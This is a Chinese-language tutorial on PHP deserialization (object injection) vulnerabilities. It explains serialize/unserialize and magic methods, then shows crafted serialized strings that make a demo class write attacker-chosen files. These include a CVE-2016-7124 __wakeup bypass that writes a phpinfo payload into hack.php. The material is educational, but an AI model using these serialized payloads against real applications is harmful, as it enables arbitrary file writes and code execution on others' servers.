php反序列化漏洞浅析
php存在着一个反序列化漏洞,也叫php对象注入。理解这个漏洞的成因首先要理解到面向对象中的方法和属性。
序列化和反序列化
在php中,有着这两个函数:serialize()和unserialize().
serialize()
serizalize()结果返回字符串,此字符串包含了表示value的字节流,可以存储于任何地方。这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。
当我们创建一个对象后,为了方便之后的使用,我们就可以用 serialize()把这个对象变化一个字符串。同时这也方便了对象值的传递和保存。
新建一个"serialized.php"测试:
1 <?php 2 class Test 3 { 4 var $test = 'aaa'; 5 } 6 $Test1 = new Test(); 7 $Test1_ser = serialize($Test1); 8 echo $Test1_ser; 9 ?>
返回结果:
O:4:"Test":1:{s:4:"test";s:3:"aaa";}
该字符串中 O代表序列化对象为object(对象),4代表对象名长度为4,"Test"指的是对象名,1代表该对象中有一个值,s代表字符串(str),4为字符串长度,"test"为字符串内容。
unserialize()
unserialize()也就是将serialize()序列化之后的字符串实例化,也就是重建对象。新建"unseralized.php"测试:
<?php include "serialized.php"; $str = 'O:4:"Test":1:{s:4:"test";s:3:"aaa";}'; $a = unserialize($str); print_r($a); ?>
输出结果:
magic function
在复现之前,我们先了解下php中的magic函数,也叫魔法函数。
https://secure.php.net/manual/zh/language.oop5.magic.php
魔法函数有很多个,我们重点看这几个:__construct,__sleep,__wakeup,__destruct
__construct和__destruct分别会在对象创建和销毁时自动调用;
__sleep在一个对象被序列化的时候调用(清理缓存);
__wakeup在一个对象被反序列化的时候调用。
测试代码:
<?php class Test { public $var1 = 'hello'; public $var2 = 'world'; public function Printvar() { echo $this->var1.' '.$this->var2.'<br />'; } public function __construct() { echo '__construct<br />'; } public function __destruct() { echo '__destruct<br />'; } public function __wakeup() { echo '__wakeup<br />'; } public function __sleep() { echo '__sleep<br />'; return array('var1','var2'); } } //创建对象调用__construct $object = new Test(); //序列化对象调用 __sleep $serialize = serialize($object); //输入序列化后的字符串 echo 'Serialize:'.$serialize.'<br />'; //重建对象调用__wakeup $object = unserialize($serialize); //调用Printvar方法 $object->Printvar(); //脚本结束调用__destruct ?>
输出结果:
反序列化漏洞
当php进行反序列化的时候,如果我们的反序列化字符串可控,从而改变对象中属性的值的话,那么反序列化的结果就会有所不同。
新建popdemo.php
<?php class Popdemo { public $data = "demo"; public $filename = "./demo.txt"; public function __construct() { echo '__construct <br />'; } public function __wakeup() { echo '__wakeup <br />'; } public function __destruct() { echo '__destruct <br/>'; //$this->save(); } public function save() { file_put_contents($this->filename,$this->data); } } $object = new Popdemo(); $object->save(); $newobj = serialize($object); echo $newobj.'<br />'; file_put_contents('./pop_serialized.txt',$newobj); ?>
这段代码就是将字符串"demo"保存进demo.txt,然后将序列化后的字符串保存在pop_serialized.txt
运行结果:
成功保存
再建立一个pop.php,代码如下:
<?php include 'popdemo.php'; $pop = file_get_contents('./pop_serialized.txt'); $newobjt = unserialize($pop); var_dump($newobjt);
$newobjt->save(); ?>
我们将O:7:"Popdemo":2:{s:4:"data";s:4:"demo";s:8:"filename";s:10:"./demo.txt";} 字符串修改一下 改为:
O:7:"Popdemo":2:{s:4:"data";s:4:"hack";s:8:"filename";s:10:"./hack.txt";}
同时将popdemo.php中的一些代码注释掉
运行pop.php
可以看到,我们成功地在本地保存了一个hack.txt的文件 而不是demo.txt
php对象注入成功
反序列化漏洞之绕过__wakeup
参考分析:http://0x48.pw/2016/09/13/0x22/
CVE-2016-7124:当成员属性数目大于实际数目时可绕过wakeup方法
重写popdemo.php
<?php class Popdemo { public $data = "demo"; public $filename = "./demo.txt"; public function __construct() { echo '__construct <br />'; } public function __wakeup() { echo '__wakeup <br />'; } public function __destruct() { echo '__destruct <br/>'; $this->save(); } public function save() { file_put_contents($this->filename,$this->data); } } ?>
将O:7:"Popdemo":2:{s:4:"data";s:4:"hack";s:8:"filename";s:10:"./hack.txt";}改为
O:7:"Popdemo":3:{s:4:"data";s:18:"<?php phpinfo();?>";s:8:"filename";s:10:"./hack.php";}
运行pop.php
可以看到没有打印__wakeup,说明__wakeup方法并没有执行,同时再访问hack.php
绕过成功.
参考链接:
php bugs 72663分析(CVE-2016-7124):http://0x48.pw/2016/09/13/0x22/
理解php反序列化漏洞:http://blog.csdn.net/qq_32400847/article/details/53873275
php magic functions:https://secure.php.net/manual/zh/language.oop5.magic.php